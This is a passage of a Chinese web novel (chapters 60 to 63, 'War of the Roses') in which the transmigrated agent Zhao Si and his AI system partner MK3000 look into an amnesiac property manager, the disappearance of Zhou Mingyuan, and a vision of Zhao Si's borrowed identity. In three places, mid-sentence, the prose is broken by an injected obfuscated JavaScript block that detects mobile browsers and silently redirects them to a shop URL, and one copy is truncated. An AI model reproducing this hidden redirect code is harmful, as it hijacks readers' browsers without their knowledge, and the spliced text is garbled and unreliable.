竟然漏了条大鱼。 他面上不动声色,语气依然温和得恰到好处:“那你附身的时候,有没有感觉到什么不对劲的地方?” 阿云歪了歪头——如果一团云有“歪头”这个动作的话。 她飘到赵四身边,像是在仔细回忆当时的感受。 “很乱的那种乱。害怕、担心、兴奋、紧张,全混在一起,乱七八糟的。”她的声音里带上了点嫌弃,“他可是掉进虚沼了哎,竟然还能兴奋——好变态的人。” 赵四点点头,引导道:“还有吗?” 阿云又想了想。 “还有……他好像在等人。” “等人?” “对,不是那种随便等等的那种等,是那种……很着急的等。”阿云努力描述着,“他在虚沼里待了好久,一直往一个方向看,像是在等什么东西出现,那种眼神,像是等不到就不走似的。” “哪个方向?” 阿云一团云硬是比出了七手八脚的感觉,几缕雾气同是指向某个方位:“那边。” 赵四顺着她的指引看过去,在心里默默换算了一下方位。 那是302的方向。 准确地说,是302大门的方向。 “你看见他的时候,他大概等了多久?” 阿云算了算:“嗯……从我来的时候他就在了,我观察那群人的时候他也在,我附身他的时候他还在等。加起来,可能有……一个多小时?” 虚沼里的一个多小时…… 他看着阿云,忽然问:“你知道他为什么会在那儿吗?” 阿云很干脆地摇头,整团云跟着晃。 她真的只是顺手捞了个人类附身,并不知道内情。 赵四笑了笑,没有追问,自然地转移了话题。 阿云高兴地飘回去,继续挥舞着鸡毛掸子。 一边打扫,她一边和赵四有一搭没一搭地聊着对她来说的日常—— 谁家构造体又闹情绪了,哪个水域又不太平了,哪片虚沼最近又多了些奇怪的波动。 赵四靠在窗边听着,偶尔应一两句,像是在听老朋友闲聊。 最后说着说着,阿云哼起歌来。 那调子悠扬而舒缓,带着点特有的飘渺感,像是在诉说什么遥远的故事。 壁炉里的火光跳动着,和她的歌声交织在一起,整个事务所都笼上了一层温暖的氛围。 赵四转身看向窗外。 虚沼里很安静,灰白色的雾气照常缓慢流动着。 但今天,雾气似乎比平时薄了一些。 他看见了一轮月亮。 不是表世界那种明亮的月亮,而是一轮晦暗的、朦胧的、像是蒙着一层薄纱的月。 暗淡的月光穿过窗外的那片灰白,若有若无地落在他的脸上,带着点凉意。 赵四看着那轮月亮,在心里说:【三儿,咱们出去之后,得找找胡主任了。】 MK3000的回应带着点心照不宣的默契:【已经单独给他建了档,就等出去逮人了。】 这个胡主任,会给他们带来点不一样的惊喜吗? 60.第60章 玫瑰战争18 第二天早上,赵四是被一阵连续不断的“咚咚”声吵醒的。 可能是昨晚睡得太晚,他头痛欲裂。 按压着太阳穴挣扎着从床上爬起来,正要去门口看看是谁一大早扰人清梦,就被MK3000提醒了。 【不是敲门声,是有人给你打电话。】 【谁?】 【沈恕。】 赵四动作一顿。 听见这个答案,他也不着急了,只慢吞吞从枕头底下找到声音来源后,眯着眼看了一眼。 这个世界的手机长得还挺别致,看着像块手表似的,就是好像有点破—— 被磨得有点花的表盘此刻正震动着发出一阵一阵的嗡鸣。 他接通了电话,嗓子带着刚醒的沙哑:“沈队长,早。” 电话那头传来沈恕一贯沉稳的声音:“青阳顾问,今天有什么安排?” 赵四靠在床头,揉了揉眉心。 胡主任这条线,必须尽快查。 但沈恕那边…… 他想起昨晚在周明远会客室里,那个被刻意避开的、关于“虚沼侦探”的话题。 赵四没忍住打了个哈欠,懒洋洋地回道:“今天打算去查点外围线索,不用沈队长亲自出马,让小七来我家接我就行。” 沈恕似乎有点意外,但也没表示反对,只是说:“好,我让他八点半到。” 赵四“嗯”了一声,正要挂电话,忽然想起什么。 “对了沈队长,那位大艺术家那边接洽得怎么样了?什么时候能见一面?” 沈恕说:“梁焕晨后天回来,事务官那边已经对接好了,约好后天下午三点,在他的画廊见面。” “好,辛苦沈队长了。” 电话挂断。 赵四把“手机”扔在床上,盯着天花板看了一会儿。 然后他忽然觉得不对。 “助手一号?” 被他随意扔在床上的“手机”闪了闪,发出一阵熟悉的声音:“主人!你终于想起我了!” 赵四:“……” 原来不是手机像手表,而是那就是那是助手一号。 赵四“嚯”了一声,拿起助手一号栖身的手表,翻来覆去看了看。 “你这是……兼职当手机了?” 助手一号的语气里带着点得意:“对呀对呀!主人你忘啦,我就是你平时对外联络的工具呀!” “上能在侦探事务所里看家护院,下能在你的手腕上对外联络,中间还能陪主人聊天解闷——总之老万能了!” 赵四沉默了一下,表情微妙。 他在心里喊:【三儿。】 MK3000应了一声:【嗯?】 【你这段程序,是不是有点脱离你的掌控了?】 它知道青阳渡的事未免也太多了。 要知道,很多细节赵四和MK3000都不清楚,助手一号一个分机体,到底哪来的情报? MK3000咳嗽了一下。 【它啊……你也知道,它有点变异了。】 赵四点点头。 MK3000继续道:【它现在已经完全代入自己的角色了,这些多余的信息量,恐怕还是它莫名其妙进入事务所,然后和咱们断联三周导致的。】 赵四看看手表,又想了想助手一号那副得意洋洋的样子。 【能信吗?】 MK3000果断道:【它已经不算是完全的我了,在这个世界里,助手一号可以信,但不能全信。】 赵四在心里比了个“OK”。 他放下助手一号,起身去洗漱。 洗漱完,他走进厨房,开始做早饭。 冰箱里有鸡蛋、青菜、还有昨天抽空买的吐司。 他打了两个鸡蛋,切了点青菜,准备做个简单的三明治。 切菜的时候,半长的头发总是滑落下来遮挡视线。 他放下刀洗了手,开始翻箱倒柜地找青阳渡留下的皮筋发绳之类的东西。 结果普通款的没找着,倒是找着了昨天晚上阿云送给他的那条。 那是一根织了银线的深灰色发绳,摸上去有一种微微的凉意,像是有什么东西在里面流动。 据阿云说,这是她拿自己的云编的,封存着她的一点能力。 只要带上这绳子,赵四遇到危险的时候,它会帮赵四挡住。 MK3000问他:【你要用这个绑头发?】 赵四把玩了一下手感不错的发绳,最终还是利索地用它绑了个低马尾。 疑人不用,用人不疑。 更何况…… 如果阿云没问题,那多个保障当然好。 如果阿云有问题,那赵四本人,就是用来钓鱼的那个鱼饵。 他现在不怕出问题,就怕没问题来找他。 没问题就代表着没线索,那这任务可还怎么做的下去? 回到厨房,这次赵四顺顺当当做完了三明治。 他给自己倒了一杯牛奶,加热后,他坐在餐桌前慢慢吃着早饭。 窗外的阳光很好,照得厨房连带着餐厅都亮堂堂的。 阳光落在餐桌上,落在牛奶杯里,落在他的手指上,暖融融的。 他想着今天的行程,很快吃完了饭。 吃完早饭,他收拾了一下,换好衣服,准备出门。 他时间卡的正好,刚收拾完自己,302的门就被敲响了。 赵四拉开门,门外站着小七,脸上带着阳光灿烂的笑容。 “青阳顾问!早上好!我来接您了!” 赵四笑了一下:“辛苦了。” 小七挺了挺胸膛,还敬了个幅度夸张的礼。 “不辛苦!很荣幸为您服务!” 赵四被他逗笑了。 “吃早饭了吗?” “我在事务署的食堂吃过才过来的。”小七拍拍肚子,“那个,咱们现在就走?” “嗯。” 两人下楼。 小七问:“青阳顾问,咱们今天去哪儿?” 赵四说:“去找一个人。” “谁?” “胡主任,物业那个。” 小七愣了一下,下意识的又摸了摸自己的怀里。 是的,他今天还带着自己的保温杯。 只是换了一个,不是之前赵四用过的那个了。 那个保温杯早就上交给事务署当物证了。 小七没问找胡主任干什么,只是亦步亦趋的乖乖跟着赵四往外走。 华南佳苑的物业办公室挺好找的,就在小区大门旁边,是一间不大不小的平房,门口挂着牌子。 他们到的时候,一个姑娘正对着电脑噼里啪啦地敲键盘。 听见开门声,姑娘头也不抬,习惯性地说:“您好,请问有什么事?” 赵四含笑说道:“我们想找胡主任。” 姑娘推了推眼镜抬起头,这才看清了赵四的脸,眼前顿时一亮。 不得不说,人类是视觉动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292012|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物。 猛地看见这么漂亮的一张脸,连一大清早就在被鞭策努力工作的怨气都消散了不少。 她多看了赵四两眼,才说道:“胡主任啊,他请了两天假,今天是第二天……您有什么急事儿找他吗?” 赵四说:“急事倒也不算……他怎么突然请假了?前两天胡主任还去我家做反诈宣传呢。” “听说是生病了。”姑娘想了想,“具体什么病我也不知道,他就是打电话来说身体不舒服,要请两天假。主任这两天都没来上班。” “那您知道他现在情况怎么样吗?有没有好点?” 姑娘摇摇头:“这我就不清楚了。他请假后我们也没联系过,要不您明天再来?明天他应该就销假上班了。” 赵四点点头,又闲聊似得随口问了几句胡主任平时的情况。 工作怎么样,为人怎么样,最近有没有什么异常之类的话,姑娘一一答了,都是些“工作认真”“人挺好的”“没觉得有什么异常”之类的套话。 赵四道了谢,转身出去。 走出去一段后,小七跟在他身后,小声说:“青阳顾问,咱们直接去他家?” 赵四:“知道地址吗?” 小七点头,声音压得更低了:“上次回去后,事务官们就整理了一份资料,胡主任的档案也在里面。我现在就联系事务官,把胡主任的地址调出来。” 赵四点点头。 事务官那边不愧是署长打过招呼的,反应很快。 小七打了个电话,不到五分钟,地址就发了过来。 他们开车过去,一路上花了大概十分钟左右。 最终他们到了城东的一个小区门口,小区看起来有些年头了,外墙斑驳,楼道狭窄,电梯里还贴着十年前的广告。 赵四站在胡主任家门口,敲了敲门。 没人应。 他又敲了敲。 还是没人应。 小七在旁边说:“会不会不在家?” 助手一号在赵四手腕上闪了闪。 MK3000同步翻译:【胡主任在家。】 赵四没说话,只是又敲了第三次。 耐心等了一会儿后,门里面传来一阵窸窸窣窣的声音。 然后是脚步声。 很慢、很沉,像是走路的人每踏出一步,都要花很大力气。 门开了一条缝。 一张脸从门缝里露出来。 是胡主任没错,但比起前天见过的胡主任,现在的他眼眶深陷,眼下一片青黑,脸色蜡黄得像是换了个人。 看着门外的两个人,胡主任的眼神空洞,表情呆滞,像是刚睡醒,又像是根本没睡醒。 他慢慢开口,声音沙哑得像砂纸磨过木头:“你……是谁?” 赵四看着他说:“青阳渡。” 胡主任缓慢地眨了眨眼。 然后盯着赵四,像是在发呆,又像是在努力理解这两个字的含义。 过了大概十几秒,他才慢慢道:“青阳……渡?那是谁?” 赵四没在说话,小七在旁边倒吸一口凉气。 胡主任又看了看他们,目光涣散地从赵四脸上移到小七脸上,又从小七脸上移回赵四脸上。 “你们……认识我吗?我……我好像……不太记得了……” 他的声音越来越低,最后变成喃喃自语。 “是谁……是我……我是、我是……青、青阳……” 砰的一声,门被从里面关上了。 61.第61章 玫瑰战争19 小七压低声音说:“青阳顾问,他这是……失忆了?” 赵四没说话。 他转身,慢慢往楼下走。 小七跟在后面,一头雾水。 走到楼下,赵四忽然停下来。 他回头看了一眼那栋楼——胡主任家对应的那扇窗户紧闭着,窗帘拉得严严实实,像一只紧闭的眼睛。 【三儿,你觉得呢?】 MK3000的声音响起:【从表现来看,确实是失忆了,而且是很彻底的那种。】 【是进虚沼的后遗症?】 【很像。按照这个世界的底层设定,人类进入虚沼再出来,确实会失忆,而且会有一段时间反应迟钝,认知混乱。】 赵四收回目光。 小七追上来,小声问:“青阳顾问,咱们就这么走了?” 赵四说:“不然呢?他什么都记不得,问也是白问。” 小七挠了挠头,忽然说:“不过……他的症状怎么这么像进了虚沼啊?我听队里老人说过,有人不小心掉进虚沼再出来,就是这样的——什么都记不得,整个人呆呆的,像是魂丢了一半。” 赵四的脚步顿了顿。 他看了小七一眼,没说话。 小七继续说:“如果说是上次跟咱们一起在您家门口那次……那也不对呀,那又不是虚沼,我们都没出事呢!难道是虚沼生物附身的后遗症?” 赵四打断他:“走吧,先回去。” 小七愣了一下,点点头,乖乖跟上。 两人上了车,车子驶出小区。 赵四靠在椅背上,看着窗外飞速掠过的街景。脑子里,阿云昨晚的话又浮现出来。 “他好像一直在等人,等了一个多小时。” 【三儿,你说他等的那一个多小时,等的是什么人?】 MK3000想了想:【他一直在看302的方向,是要找青阳渡吗?】 【有可能,但是……】 不止这一个可能。 甚至他等青阳渡的可能性是最小的。 因为如果阿云没有指错方向,胡主任看的是302的大门——而他当时所处的位置,可是卧室。 那么当时在302大门口的人都有谁? 是沈恕和他带来的人。 这一队人马单个拎出来,哪个都比青阳渡的可能性高。 不过现在信息太少,想太多也没用。 他开口,对开车的司机说:“小七。” 小七应了一声:“在!” 赵四说:“回去跟沈队长说一声,让他派个人,盯着胡主任。” 小七愣了一下:“盯着?可是他都失忆了——” 赵四看了他一眼。 小七立刻闭嘴,点点头:“好的,我回去就跟队长说。” 车子继续向前。 窗外的阳光很好,照得整个城市亮堂堂的。 行人匆匆,车辆穿梭,一切都那么正常,那么平静。 但赵四知道,这阳光下面,藏着太多看不清的东西。 他靠在椅背上,闭上眼。 脑子里,那个失忆的胡主任的脸,一遍一遍地浮现。 那张空洞的、呆滞的、什么都不记得的脸。 “青阳……” “青阳——” “青阳!” “先生、先生,青阳先生?” 赵四回过神。 他们早就不在车上了。从胡主任家出来后,他们又拐去几个死者经常停留的地方看了看—— 刘大勇常去的菜市场,张维安写作的咖啡馆,于海波晨跑的公园。 期间没发现什么和案件有关联的东西,倒是在路上,他们遇上了一次突发的虚沼灾害。 一个小型的“水潭”突然在商业街口裂开,积水像雾气一样蔓延开,吓得路人四散奔逃。 帮着疏散完群众,又拐去最近的派出所做了笔录后,一抬眼,竟已经是晚饭时间了。 在开车送赵四回家的时候,小七肚子的咕噜声此起彼伏,很是不甘寂寞。 于是赵四请小七吃了顿晚饭。 不是什么大馆子,就是小区门口那家他吃过一次的早点铺子,只是晚上改卖炒菜了。 店面不大,只有五六张桌子。 老板在后厨颠勺,老板娘一个人在前面忙里忙外,倒显得烟火气十足。 小七受宠若惊,一边说“青阳顾问您太客气了”、“其实不用请我吃饭的”、“这是我应该做的”,一边呼噜呼噜地往嘴里狂扒饭。 MK3000怜爱了:【看给孩子饿的。】 赵四表示:【年轻人食欲就是好啊。】 和系统说着话,赵四又招手加了两道菜。 小七感动得泪眼汪汪,差点当场表忠心。 吃完饭,小七把赵四送到家门口,自己开车回去了。 临走前还拍着胸脯保证,明天一定准时来接。 赵四关上门,一边洗澡一边和MK3000复盘了一下自己迄今为止的行动。 洗完澡出来,MK3000又在赵四身上拍了一张速干卡,就催着他睡觉了——这习惯还是在上个世界养成的。 对搭档的悉心照料赵四欣然领受,他愉快地上床睡觉。 一夜无话。 第二天,赵四又是被铃声吵醒的。 【又是沈恕。】MK3000说。 赵四闭着眼睛,凭感觉摸出枕头底下的“手机”,接通了电话,声音里还带着浓重的睡意:“沈队长?” 沈恕的声音传来,语速比平时快了一点:“青阳,我在你家楼下。” 赵四把脑袋从枕头里拔出来。 他看了一眼窗外。 天刚蒙蒙亮,远处的楼宇还笼罩在一片灰蓝色的晨雾里。 路灯还没灭,橘黄色的光晕在晨雾中晕开,像一团团模糊的棉花。 这个时间…… 哦,出事了。 赵四干脆问出口:“出什么事了?” 沈恕也答得干脆:“周明远失踪了。” 赵四坐起来,五指成梳从前往后犁了一把头发,把凌乱的碎发拢到脑后,被吵醒的烦躁被这个消息压下去了不少。 他说:“我马上下来。” 挂了电话,赵四利落地起身洗漱,五分钟不到就下了楼。 楼下停着一辆黑色的SUV,沈恕站在车边,脸色不太好看。 晨光落在他肩上,把他的轮廓镀上一层冷色调的灰。 看见赵四,他拉开车门。 “上车。” 赵四坐进副驾驶,车子发动。 一路上,沈恕简单地说了情况。 今天早上五点半,虚沼气息检测仪的警报又响了。 有过之前三次的经历,事务署的人用最快的速度抵达了周明远当时所在的位置——他的公司,那栋市中心的高档写字楼。 那里果然空空荡荡,什么人都没有。 抱着也许周明远是在别的地方的侥幸心理,事务署在派出特别行动队封锁现场的同时,也撒了人出去,试图在其他地方寻找周明远的踪迹。 沈恕说完了现状,转而问赵四:“你觉得他会在哪里?” 赵四看着窗外飞速掠过的街景,沉默了几秒。 然后他说:“他不会在了。” 沈恕握着方向盘的手微微收紧。 赵四继续说:“前三个人的死亡时间,和检测仪报警的时间是同步的,这次也不会有例外。” 沈恕没再说话。 车子继续向前,驶向周明远的公司。 那栋市中心的高档写字楼,此刻已经被警戒线围了起来。 警戒线外三三两两地站着围观的群众,伸长脖子往里张望,交头接耳地议论着什么。 门口站着好几个穿制服的人,正在驱赶试图靠近的人群。 沈恕带着赵四穿过警戒线,走进大楼。 电梯直达顶层。 门一打开,迎面就是那面巨大的Logo墙。 只是今天,那几个烫金大字在灯光下显得格外刺眼,像是某种无声的嘲讽。 赵四走进办公区。 来上早班的员工们三三两两地聚在一起,窃窃私语,交头接耳。 每个人脸上都带着一种说不清的表情——恐惧、好奇、不安,全都混在一起,像一锅煮糊了的粥。 看见赵四和沈恕走过,他们立刻收声,等人走远了,又开始小声议论。 赵四面不改色地穿过人群,走进周明远的办公室。 里面已经有不少人。 赵四打眼一扫,看出是事务署的技术人员、法医、还有几个穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不是刺眼。 那是一种无法言喻的光泽。 白得像初雪覆盖的山巅,白得像月光浸透的宣纸,白得像……什么都不像,只是白。 纯粹的、绝对的、不容置疑的白。 那光在瓷器表面流淌,像是活的一样。 每一寸弧度都被勾勒得恰到好处,每一处转折都泛着温润的辉光。 它不是反射光,而是自己就在发光。 从内而外的、由里及表的,像是有什么东西正在那层薄薄的瓷胎下面呼吸。 无暇美玉,温润生光。 但那光太干净了。 干净得不像人间的东西。 干净得让人想移开目光,却又移不开。 赵四盯着那个花瓶,忽然觉得有什么不对。 那不是看瓷器时该有的感觉。 那是…… 【有干扰能量正在试图突破防护墙!专员!】 MK3000的声音在他脑子里炸开,尖锐得像警报。 赵四没有移开目光,只是问道:【强度?】 【正在飙升——已经超过了昨天任何一次检测的峰值——还在涨——】 【这不对,这绝对不是普通的虚沼残留,这是——】 赵四没有动。 他只是看着那个花瓶。 看着那团越来越亮、越来越纯净、越来越……危险的白。 【三儿。】 【啊?】 赵四的声音很平静:【放开防护。】 MK3000被噎了一下。 【……你知道自己在说什么吗?】 【我很明白。】赵四的嘴角微微弯起,弯成一个浅淡的弧度,【哎呀,只是突然发现,我得去验证个东西……你愿意相信我吗,搭档?】 沉默。 其实只过了一秒而已。 但对MK3000来说,那一秒长得像一个世纪。 然后—— 【……我明白了。】 防护,撤了。 那一瞬间,飙升到顶点的能量如千钧重锤,狠狠砸在赵四的精神上! “轰——” 没有声音。 但那无声的轰鸣,比任何声音都更震耳欲聋。 世界……变了。 不是眼睛看到的那种变化,而是…… 是一切。 是存在本身。 是在那一瞬间,赵四直接看见了终极。 62.第62章 玫瑰战争20 无穷无尽的黑暗包裹住了赵四。 那并不是普通的黑暗。 它有重量,压在他的肩上、眼皮上、意识深处。 它有温度,贴在他的皮肤上,不冷不热,不温不凉,只是随着某种看不见的节奏自然起伏。 它有情绪,钻进他的意识,喜怒哀乐,样样要与他同心同向,像是要把他融化在某种更庞大的存在里。 它—— 它从四面八方涌来。 赵四感觉自己正在坠落,又像是正在上升。 方向失去了意义,上下左右全都模糊成同一片混沌,只剩下“存在”本身,在黑暗中缓慢地漂浮。 然后在这片混沌中,好似有无数双眼睛睁开了。 在黑暗中,在虚无处,在他所感知到的每一个角落。 那些眼睛大小不一,形状各异。 有的凝实些,像有人在眨眼;也有的只是一团模糊的光晕,晕染出水墨般的泪痕。 它们睁开,凝视,然后闭上。 无形的瞳孔们震颤着,向此处唯一的精神体投下注视。 那注视中既没有恶意,也没有善意,只是纯粹的——存在。 就是在这样的注视中,赵四“醒”来了。 他发现自己站在一片湖面上。 那湖面光滑得像镜子,漆黑得像是用最深的夜色浇铸而成。 他低下头,看向自己的倒影。 很巧,他的倒影也在看着他。 他的倒影——【青阳渡】——在向他微笑。 那笑容很轻,很淡,像是隔着一层薄薄的水雾,带着点说不清的意味。 【青阳渡】张开嘴,慢慢说出一句话来。 “———————” 赵四皱眉,他没有听到任何有意义的字句,只有一片堪称空洞的寂静。 【青阳渡】又看了他一眼,敛去了笑容,反而冲赵四挑挑眉,眼角眉梢都晕染着意气飞扬。 赵四一愣,转而脸色微变。 他半跪下来,伸手去触摸湖面。 那镜中的倒影却已晕开涟漪,消失无踪。 顷刻间,湖面的平静被打破,有什么东西正飞速从湖面下向上翻动。 不是水,是声音。 起初只是细微的呢喃,像是风穿过缝隙的轻响。 然后声音越来越多,越来越清晰,从湖面的每一个角落升起,从黑暗的每一寸空间涌来—— “青阳渡……” 有人在念着这个名字,像念着一道古老的契约。 那声音苍老,带着岁月的沙哑。 “青阳先生……” 这道声音年轻,带着青春的清澈。 “先生……” “青阳……” “求求您了……” 无数个声音从四面八方涌来,此起彼伏,层层叠叠。 有的近在咫尺,有的远在天边,有的像是在耳边低语,有的像是在地缝深处回响。 赵四若有所感的抬起头。 黑暗的边缘开始浮现出人影。 一个,两个,三个……越来越多,越来越密。 他们站在黑暗与湖面的交界处,站在那片模糊的灰色地带里。 有的清晰,有的模糊,有的只是一团轮廓,有的却能看清脸上的每一道纹路。 “求求您,求求您了……” 那些声音越来越响,越来越密。 有的带着期待,有的带着哀求,有的带着绝望,有的带着希望。 每一个声音,都在呼唤同一个名字。 每一道目光,都在看向同一个人。 身处这些目光的中央,赵四仿佛站在一个巨大的舞台上。 他看见,有老人向他伸出枯瘦的手,干瘪的嘴唇翕动着,念着他的名字。 有青年往前迈了一步,又像是怕惊扰什么似的停在那里。 有孩子踮起脚尖努力向他招手,眼睛亮得像是在看什么了不起的人物。 他看见了太多太多。 但他没有回应什么,只是站了起来,缓缓闭上眼睛。 漆黑的水流欢欣地扬起浪花,将一段回忆从黑漆漆中打捞出来,连同当时的情感一同打包,全部塞进了赵四的脑子里。 【“先生风姿明秀,夺天地造化不说,现又助我人族良多……您可有名讳?我与我的族人愿为您立生祠,长长久久供奉于您。”】 俊秀的青年沉默良久。 他并没有名字,也不曾想过这个问题。 以至于现在有人问起时,他才发现他并不知道该如何回答。 如果说名字是他人称呼自己的一个代号,那么他人最常对自己说过的话,岂不是也可以当做名字来用? 那些人说什么来着? ——请先生渡我。 那么稍作修改,他可以叫—— 【“青阳渡。”】 【“什么?”】 【“我说,我的名字……青阳渡。”】 名字说出口的那一刻,青年的身体颤了颤。 他猛地抬头看向无穷高处,像有万千压力突兀加诸己身。 那时他才明白。 从他承认自己有个名字开始,他和这世间就有了联系。 从此之后,无数来自他人的因果和执念,将化作不可视的枷锁,将他重重压覆在表里世界的狭间中。 回忆在此处中断,在一股淡淡的香气中,赵四的精神突然被弹出了这片空间。 赵四睁开眼,缓了好一会,才发现自己正躺在一张沙发上。 这里当然已经不是会客室了。 落地窗外的城市夜景流光溢彩,高楼大厦的灯光在夜色中明明灭灭。 靠着窗外的景色定位,他现在其实还在那栋楼里,只是换了间屋子而已。 赵四闭上眼睛,沉沉地吐了一口气。 那口气吐得很长,像是要把刚才在黑暗里积压的所有东西都一并清空。 僵硬的肌肉一点一点放松下来,从肩膀到后背,从后背到腰腹,每一寸都在缓慢地重新恢复感知。 MK3000的声音响起,语气很不好:【回来了?】 赵四一口气差点卡住,他有点气虚,【……回来了。】 【那么我起爱的赵四专员,现在可以告诉你可怜的搭档,刚才三分钟内发生了什么吗?】 赵四咳嗽了一下,【在我回答之前,能不能先告诉我,你这儿监测到了什么?】 MK3000用平静而理智的态度回答了他。 【你的精神波动直接从我的监测范围里消失了。】 用人话来说,就是系统检测里,赵四刚刚死了。 为了压下操作间里疯了一样的警报,防止干扰到赵四,MK3000差点把自己报废掉。 如果因为自己的决策失误,进,而导致带出去的专员没有回来……说实话,那个时候MK3000连自己什么时候返厂格式化都想好了。 赵四很知道好歹,他张了张嘴,最终只能干巴巴的说了一句对不起。 MK3000沉默了。 过了几秒,它低声道:【……我不是要你道歉。】 【我知道。】赵四的声音也很轻,【但是我……】 MK3000叹了口气。 【专员,我们来约法三章。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300871|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一人一统扯了半天皮,最后达成了共识。 ——非必要的情况下,赵四专员不得拿自己的安危冒险。 与之相对的,在必要时刻,MK3000会尽最大努力信任赵四专员,并尽全力给你做好后勤保障。 定下这条处事原则后,内部矛盾消弭一空,赵四这才有功夫看看周围。 和自家搭档达成了共识,赵四才有功夫看看周围。 沙发很软,是真皮的,坐上去陷进去一块。 茶几上摆着一杯水,还冒着微微的热气,应该是刚倒的。 沈恕就在他身边的单人沙发上坐着。 他没有看手机,没有看窗外,没有做任何别的事——只是沉默地看着赵四。 那目光很专注,专注得像是怕错过什么。 发现赵四的目光终于有了焦距,真正落在他身上,沈恕的眉头舒展了一瞬,整个人像是松了口气。 “你终于醒了。”他的声音有点哑,带着点不易察觉的颤抖。 赵四看着他。 像是第一天认识沈恕似的,他隐晦地把人从头到尾打量了一遍。 然后,他在脑海中吹了个口哨。 【你能看到吗?】 MK3000:【?】 赵四申请了视野共享。 MK3000:【!】 无数道若有若无的丝线从沈恕身上延伸出来,层层叠叠,密密麻麻,像蛛网一样彼此纠缠着。 那些丝线有的粗,有的细,有的暗淡无光,有的明亮刺眼。 它们从沈恕的胸口、肩膀、后背、手臂……从每一个可能的角落延伸出去。 那些丝线的另一端……赵四顺着丝线的脉络,低头看向自己。 是的,沈恕身上延伸出来的线,全部落在他身上。 不,这么说很不严谨。 这些线连的不是赵四。 是青阳渡。 果说沈恕身上的丝线只是蜘蛛网,那么青阳渡身上的丝线就是凝实的茧。 那些丝线缠绕着“青阳渡”这个存在,缠绕着他的名字,缠绕着他的因果,缠绕着无数年来积累下的执念。 赵四看着那些丝线,忽然想起刚才在黑暗里看见的那些人影。 那些向他伸出手的人。 那些念着他名字的人。 那些用期待、哀求、绝望、希望的目光看着他的人。 那些丝线的另一端,就是他们。 沈恕见他没反应,刚刚舒展的眉头又皱了起来。 “青阳?”他的声音里带上了不安,“你能听见我说话吗?” 他靠近了一点,一只手扶着赵四的肩膀,另一只手悬在半空,像是想碰他又不敢碰。 那姿态带着点小心翼翼的试探,像是在对待什么易碎的东西。 见说了几句话,赵四的目光还是虚虚地落在虚空中,没有聚焦在他身上,沈恕的手终于落下来,轻轻碰了碰赵四的额头。 那触感温热而真实。 但赵四看见的,是那只手穿过层层丝线时,那些丝线微微震颤的模样。 像是有什么东西,正在顺着那些看不见的线,一点一点爬过来。 能看见后,赵四也能感觉到经过这些线索传递过来的情感的重量了。 那重量压在他的感知上沉甸甸的,像胸口坠了块巨石。 可这也只是沈恕一个人的分量而已。 赵四的目光越过沈恕,看向那些丝线延伸出去的黑暗。 那里还有无数条线,无数个方向,无数道或明或暗的光。 在他看不见的地方,青阳渡的身边,到底还有多少个这样的“沈恕”? 63.第63章 玫瑰战争21 处理好现场事务,已经是晚上了。 赵四看着沈恕带人做完最后的收尾工作,本来想随便找个人送他回家,结果在沈恕无声的坚持下,还是跟着他回了事务署。 因为看见了赵四在会客室里的不对劲,沈恕这一路上都格外沉默。 他不问,赵四也不解释,两个人就这么维持着一种微妙的平衡——像是都知道有些话不能说,有些事不能问。 到了事务署,沈恕让赵四在他办公室稍等,自己先去述职。 沈恕的办公室不大。 一张办公桌,几把椅子,各种地图和资料堆得满满当当,把这个不大的空间塞得几乎无处下脚。 墙上挂着一块白板,上面还留着没擦干净的笔迹,大概是某个案子的线索梳理。 赵四拉开其中一把椅子坐下。 沈恕虽然人不在,但那些丝线并没有消失。 它们只是随着距离的拉远而转淡了几分,却依然存在,时而随着某种看不见的节奏微微颤动,像是在呼吸。 【这屋里没监控吧?】赵四问。 MK3000早就扫描过了:【没有。放心。】 赵四点点头,伸手去触碰那些从沈恕身上延伸出来的丝线。 手指穿了过去,什么也没碰到。 他又试了一次,换了个角度,放慢速度——还是一样。 那些丝线就像投影,看得见,摸不着。 MK3000总结了一下。 【可以初步推定它们根本就不存在于物理层面,我刚才一直在监测丝线的状态改变和沈恕的关联,结论是沈恕那边的情感变化能改变丝线的存在状态。】 也就是说,这些线不管是亮度、粗细,还是颤动的频率,实际上全都取决于沈恕。 赵四听懂了:【我就是个纯粹的接收端。】 【对,这些丝线更像是单向的情感链接,你能看见,能感知,但改变不了它。】 赵四看着那些微微颤动的丝线,没再说话。 过了大概二十分钟,门被推开了。 沈恕走进来,脸上带着点疲惫,大概是述职的时候被问了不少问题。 但看见赵四的瞬间,那张脸上仿佛又被点亮了一点光彩,疲惫微不可见地淡了几分。 “等久了吧?” 赵四摇头:“还好。” 沈恕看了一眼墙上挂着的表,忽然想起什么似的。 “你还没吃晚饭吧?” 确实,赵四把这一天睡过去大半,在梦里挣扎都够累了,哪里顾得上吃饭。 沈恕直接道:“走吧,我带你去食堂。” 赵四也看了眼时间,已经快八点了,这个时候要出去吃的话,去哪里都麻烦。 他点头应下了这场晚饭的邀请。 两人走出办公室,穿过走廊,往食堂的方向走去。 事务署的食堂不大,暖黄色的灯光照在餐桌上,银白色的金属桌面都泛着温暖的光。 可能是因为事务署的工作性质特殊,虽然已经很晚了,但食堂还有一个窗口亮着灯。 